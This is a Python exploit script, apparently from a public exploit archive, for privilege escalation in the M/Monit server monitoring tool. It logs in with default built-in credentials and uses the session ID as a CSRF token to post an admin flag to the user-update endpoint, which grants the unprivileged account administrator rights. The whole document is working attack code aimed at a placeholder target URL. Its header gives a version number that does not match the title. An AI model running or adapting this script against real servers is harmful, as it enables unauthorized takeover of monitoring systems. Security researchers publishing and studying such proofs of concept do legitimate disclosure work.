#!/usr/env/python3 """ Vulnerability title: M/Monit <= 3.7.2 - Privilege Escalation Author: Dolev Farhi Vulnerable version: 2.0.151021 Link: https://mmonit.com Date: 2/17/2019 """ import sys import requests MMONIT_URL = 'http://ip.add.re.ss:8080' MMONIT_USER = 'monit' # Default built in unprivileged user MMONIT_PASS = 'monit' s = requests.Session() s.get(MMONIT_URL + '/') resp = s.post(MMONIT_URL + '/z_security_check', params={'z_username':MMONIT_USER,'z_password':MMONIT_PASS}) if 'Invalid username and/or password' in resp.text: print('Error logging in') sys.exit(1) zessionid = s.cookies.get_dict()['zsessionid'] headers = { 'CSRFToken':zessionid, } resp = s.post(MMONIT_URL + '/admin/users/update', headers=headers, params={'CSRFTOKEN':zessionid, 'fullname':'john doe', 'password':MMONIT_USER, 'title':'', 'email':'', 'phone':'', 'mobile':'', 'imname':'', 'uname':MMONIT_PASS, 'imtype':None, 'admin':'on', 'oldpassword':'D9CFD4AF77E33817DE2160E0C1C7607C' }) if resp.status_code == 200: print('Success! You are now M/Monit admin') else: print('Something went wrong')